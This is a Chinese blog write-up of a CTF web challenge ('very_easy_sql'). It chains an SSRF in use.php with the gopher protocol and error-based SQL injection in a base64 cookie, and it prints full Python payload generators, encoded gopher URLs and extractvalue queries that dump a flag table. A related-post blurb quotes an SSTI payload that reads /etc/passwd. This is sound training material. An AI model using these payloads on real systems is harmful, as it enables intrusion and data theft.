攻防世界-web-very_easy_sql

于 2024-05-11 22:16:44 发布
阅读量609 收藏 10
点赞数 11
分类专栏： CTF 文章标签： sql 数据库 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/MateSnake/article/details/138731946
版权

题目

image.png
image.png

知识点

本题涉及知识点

  • ssrf 端口扫描
  • ssrf + gopher协议
  • sql注入（报错注入or时间盲注）
  • python脚本编写

解题思路

ssrf发现

打开网页，发现下面有一行提示，你不是内部用户
image.png

admin' or 1#

admin" or 1#

admin') or 1#

admin')) or 1#

image.png image.png

image.png image.png

直接尝试在用户名密码处进行注入点测试，发现用单引号，双引号，括号都没有反应，右键查看源码，发现use.php被注释。
image.png
访问use.php
image.png
有经验就可以发现是一个ssrf的漏洞

ssrf详解

什么是ssrf

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
我理解的是相当于内网穿透，你获取到其中一个内网主机，可以用这个内网主机作为服务器向其他的内网机器发起攻击。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

ssrf的利用

  • 分享，通过URL地址分享网页内容，通过URL获取目标页标签等内容
  • 转码服务，适应硬件设备的大小；
  • 图片的加载与下载
  • 图片，文章的收藏；

产生SSRF漏洞的函数

  • file_get_contents
  • fsockopen()

ssrf漏洞利用

1.可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序（比如溢出）;
3.对内网web应用进行指纹识别，通过访问默认文件实现;
4.攻击内外网的web应用，主要是使用get参数就可以实现的攻击（比如struts2，sqli等）;
5.利用file协议读取本地文件等。.
6.各个协议调用探针：http,file,dict,ftp,gopher等
本题目就是运用第六种，gopher协议。

gopher协议

编写payload脚本，实现内部访问：

import urllib.parse

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)

test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)
#按照标准，URL只允许一部分ASCII字符，其他字符（如汉字）是不符合标准的，此时就要进行编码。
#因为我在构造URL的过程中要使用到中文：此时需要用到urllib.parse.quote，此处是为了替换特殊字符
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

运行得到

gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

然后bp抓包
image.png

可以发现setcookie的值为admin的base64编码值。
image.png

猜测在setcookie处为注入点，首先测试是字符型还是整数型注入，构造payload为admin’ #
image.png

构造脚本

import urllib.parse

host = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nICM="

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test) 
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new) 
print("gopher://"+host+"/_"+result)

得到：

gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nICM%253D%250D%250A%250D%250A

报错注入

找闭合点

http://61.147.171.105:55056/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nICM%253D%250D%250A%250D%250A

image.png
发现单引号闭合不对，通过测试发现单引号加括号闭合才是真正的闭合点
image.png

http://61.147.171.105:55056/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSAj%250D%250A%250D%250A

image.png

所以后面可以直接使用报错注入。

设计payload

payload为admin’) and extractvalue(1, concat(0x7e, (select @@version),0x7e)) # 检查是否可以进行报错注入
运用python转换成gopher协议

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)


http://61.147.171.105:55056/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpICM%253D%250D%250A%250D%250A

如图可以看到，数据库信息被回显出来了，所以报错信息可以使用，接下来就是查库，查表、查列了。
image.png

查数据库

查数据库：admin’) and extractvalue(1, concat(0x7e, (select database()),0x7e)) #
python脚本：

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)


http://61.147.171.105:55056/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKSAj%250D%250A%250D%250A

image.png
数据库为：security

查表

查表：admin’) and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security’),0x7e)) #

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)


http://61.147.171.105:51604/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIEdST1VQX0NPTkNBVCh0YWJsZV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpLDB4N2UpKSAj%250D%250A%250D%250A

image.png
有5个表，但是有经验的一般都是看flag这个库

查字段

查flag表中的列：admin’) and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=‘flag’),0x7e)) #
python脚本：

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

http://61.147.171.105:51604/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIEdST1VQX0NPTkNBVChjb2x1bW5fbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lPSdmbGFnJyksMHg3ZSkpICM%253D%250D%250A%250D%250A

image.png
只有一个flag字段

查内容

admin’) and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #
python脚本

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

http://61.147.171.105:51604/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoU0VMRUNUIGZsYWcgZnJvbSBmbGFnKSwweDdlKSkgIw%253D%253D%250D%250A%250D%250A

image.png
此时出现了另一个问题，报错的回显最大位数为32位，此时我们只获得了32位，需要用substr函数进行分割读取：

分割读取

admin’) and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #
python脚本:

import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, substr((SELECT flag from flag),30,32),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payload

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)


http://61.147.171.105:51604/use.php?url=gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCBzdWJzdHIoKFNFTEVDVCBmbGFnIGZyb20gZmxhZyksMzAsMzIpLDB4N2UpKSAj%250D%250A%250D%250A

image.png

提交flag

将两次的内容合并就得到了flag：

cyberpeace{e77ca6e17117cd13f6d861cb8ffc2f31}

image.png

Manba_77
关注
  • 11
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【网络安全 | CTF】攻防世界 very_easy_sql 解题详析（gopher协议+ssrf漏洞sql注入+盲注脚本）
等风来
08-01 7805
登录处直接注入会提示you are not an inner user, so we can not let you have identify~查看源代码发现use.php，访问后猜测该题为基于ssrf漏洞的sql注入：因此我们可构造含有gopher协议的盲注脚本，通过对use.php界面发送请求来获取flag。具体实现的方法是通过构造不同的poc来进行注入攻击，并利用时间延迟判断是否成功注入。
简易SQL----Easy
09-07
简单化SQL增删改查，支持Access数据库。 可复制粘贴字段，方便写SQL语句。
【攻防世界】Web very_easy_sql
DG_s1mple
12-31 1723
时间盲注 和 Bool 盲注很像，区别就是 “参照物” 的不同，Bool 盲注是通过页面的一些变化来进行判断结果，但是有时候，执行一些 sql 语句的测试，页面不会有像布尔盲注那样直观的变化，这个时候可以在布尔盲注的基础上结合 if 判断和 sleep() 函数来得到一个时间上的延迟参照，也就可以让我们进行一些判断。当你在index.php登录admin，admin的时候，是不会登录成功的，只能在use.php用ssrf去登录，因为它需要在内部登录。很幸运的是，好像登录上去了，这一串解码出来是admin。
攻防世界 -- very_easy_sql
weixin_48031371的博客
09-14 7375
攻防世界 -- very_easy_sql
Web安全攻防世界08 very_easy_sql
weixin_42789937的博客
12-25 3144
Web安全攻防世界08 very_easy_sql，我也有点稀里糊涂，经过了多次失败，终于水了一篇混杂了30%的博文链接+60%的错误解法+文末10%官网wp的博文~
攻防世界web新手 - very_easy_sql（非常详细的wp）
yuanxu8877的博客
11-27 7029
攻防世界web新手 - very_easy_sql（非常详细的wp），希望大家不要吝啬您的点赞收藏哦。
【xctf之very_easy_sql】
qq_40646572的博客
10-11 2574
题目如上，既然这道题的名称就是sql，那么就是让我们找到sql注入点。题目下面介绍说是签到题，我信了，然后我人麻了。。。我以为签到题可能就是注入点直接给我们了，然而并不是，这是一道较为复杂的题，起码对我来说是的。这道题包含gopher协议结合ssrf漏洞的sql注入。首先，在页面上有两个输入框，进行尝试了下，发现不是注入点，然后我们看到请求返回包中，存在use.php提示，并且(后面我们发现此处存在一个大坑。)
【愚公系列】2023年05月 攻防世界-Web（very_easy_sql）
时光隧道
05-27 7800
SSRF（Server Side Request Forgery）是一种安全漏洞，攻击者可以利用该漏洞远程发送请求，使得目标服务器处理攻击者指定的请求，而不是合法的请求。攻击者可以利用此漏洞，访问受保护的资源，或者从外部网络中执行任意命令。Gopher协议是一种用于访问互联网资源的协议，通过gopher协议可以访问各种不同类型的协议，包括http、ftp、SMTP等。攻击者可以利用gopher协议来构造恶意请求，从而利用SSRF漏洞攻击目标系统。
web:very_easy_sql（sql、ssrf、gopher协议sql注入）
sleepywin的博客
12-02 475
通过报错信息，可以找到闭合点，有报错信息，直接使用报错注入。数据库信息被回显出来了，报错信息可以使用，按正常的步骤走。联系之前原始页面写的“不是内网用户，无法别识身份”构造payload，检查是否可以进行报错注入。解码结果为admin，cookie为注入点。随便输入了一个，发现url有参数显示。把这个set-cookie解码出来为。试一下靶机的网址，返回nonono。查到flag表里只有一个flag列。查看源码，找到一个use.php。显示不是内部用户，无法识别信息。用bp抓包修改信息后，显示如下。
网络攻防课程seed-labs实验-Web_SQL_Injection.zip
最新发布
06-01
网络攻防课程seed-labs实验-Web_SQL_Injection.zip
攻防世界 supersqli writeup
12-14
进入题目查看源码，提到sqlmap那就扫一扫 发现有注入，注入点为injiect=2’，接下来–dbs尝试查询数据库，只爆出supersqli，但无法爆出表。 回到题目 order by 判断只有两个字段（别人的writerup说–+被过滤，只能使用#，不知道为什么没有,最后发现是在查询框里过滤了，在url框里没有） 在使用union select时发现过滤关键字 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200313161718411.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpd
网络攻防课程seed-labs实验-Web_XSS_Elgg.zip
06-01
网络攻防课程seed-labs实验-Web_XSS_Elgg.zip
网络攻防课程seed-labs实验-Crypto_MD5_Collision.zip
06-01
网络攻防课程seed-labs实验-Crypto_MD5_Collision.zip
网络攻防课程seed-labs实验-Buffer_Overflow_Server.zip
06-01
网络攻防课程seed-labs实验-Buffer_Overflow_Server.zip
攻防世界-very-easy-sql
chinese_cabbage0的博客
02-28 1802
攻防世界的这个题目的详细解析，没有比这个更加全面，更加通俗易懂的了，大家可以参考一下，学生到很多东西
[攻防世界]very_easy_sql
GKD2019的博客
01-24 902
# [攻防世界]very_easy_sql 参考链接：https://blog.csdn.net/yuanxu8877/article/details/128069145 ### 0x00 前置知识 - ssrf + gopher协议 - sql注入（报错注入or时间盲注） - python脚本编写 ssrf可以利用协议作为探针访问内网，如http,file,dict,ftp,gopher等 ## gopher协议和ssrf联合使用 > gopher协议是一种信息查找系统，他将Inter
攻防世界very_easy_sql
qq_45955869的博客
05-29 445
提示：攻防世界very_easy_sql提示：死记硬背记不住的内部网络时间盲注报错建议保存。
easy_sql解析
qq_73722777的博客
03-08 406
获得列名，但是其中不包含flag项。先尝试打开username和password列查看数据。进入页面，我们看到网页标题为管理员后台，尝试使用万能密码进行登录。回显输入为3时可以正常登录，回显为4显示错误，推测回显位为3。登录后发现登录成功，网页有回显，尝试进行sql注入。网址回显错误，猜测空格被屏蔽，使用/**/代替尝试。获得表名为bighacker，users。爆数据后未发现flag，于是尝试从另一个表入手。获得库名为yunxi_exam，进行爆表名。获得flag，此题结束。得到列名，尝试爆数据。
web python template injection_攻防世界-Web_python_template_injection详解
05-26
Web Python Template Injection 是一种常见的 Web 漏洞类型，通常缩写为 SSTI（Server Side Template Injection）。该漏洞是由于 Web 应用程序未正确处理用户输入导致的，攻击者可以通过构造恶意输入来执行任意代码或获取敏感信息。 Python 作为一种流行的 Web 开发语言，广泛应用于 Web 应用程序中。Python Web 框架（如 Flask、Django 等）通常使用模板引擎来生成动态内容。在模板引擎中，可以使用变量、表达式、条件语句、循环语句等功能来生成动态内容。然而，如果在模板引擎中直接使用用户输入作为变量或表达式的一部分，而没有对用户输入进行适当的验证和过滤，就可能导致模板注入漏洞。 例如，在 Flask 应用程序中，可以使用 Jinja2 模板引擎来生成动态内容。如果在模板中使用了用户输入的变量，攻击者可以构造恶意输入来执行任意代码。例如，以下代码中的 name 变量可能是用户输入的： ```python from flask import Flask, render_template, request app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') return render_template('index.html', name=name) if __name__ == '__main__': app.run(debug=True) ``` 在 index.html 中，可以使用 {{ name }} 来显示用户输入的 name 变量。如果攻击者在 name 中注入了模板代码，就可能导致模板注入漏洞。例如，攻击者可以构造如下的输入： ``` {{ ''.__class__.__mro__[1].__subclasses__()[414]('/etc/passwd').read() }} ``` 这段代码在模板引擎中会被解释为调用 Python 的 subprocess.Popen 函数执行命令 /etc/passwd，并读取其输出。攻击者可以通过这种方式执行任意代码，获取敏感信息或者直接控制服务器。 为了防止 SSTI 漏洞，开发人员应该对用户输入进行严格的验证和过滤，避免在模板引擎中直接使用用户输入作为变量或表达式的一部分。可以使用 Python 的安全模板引擎（如 jinja2-sandbox、jinja2-timeout 等）来限制模板执行的权限，或者使用模板引擎提供的安全过滤器（如 escape、safe 等）来过滤用户输入。此外，还应该及时更新 Web 应用程序和相关组件，以避免已知的漏洞攻击。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值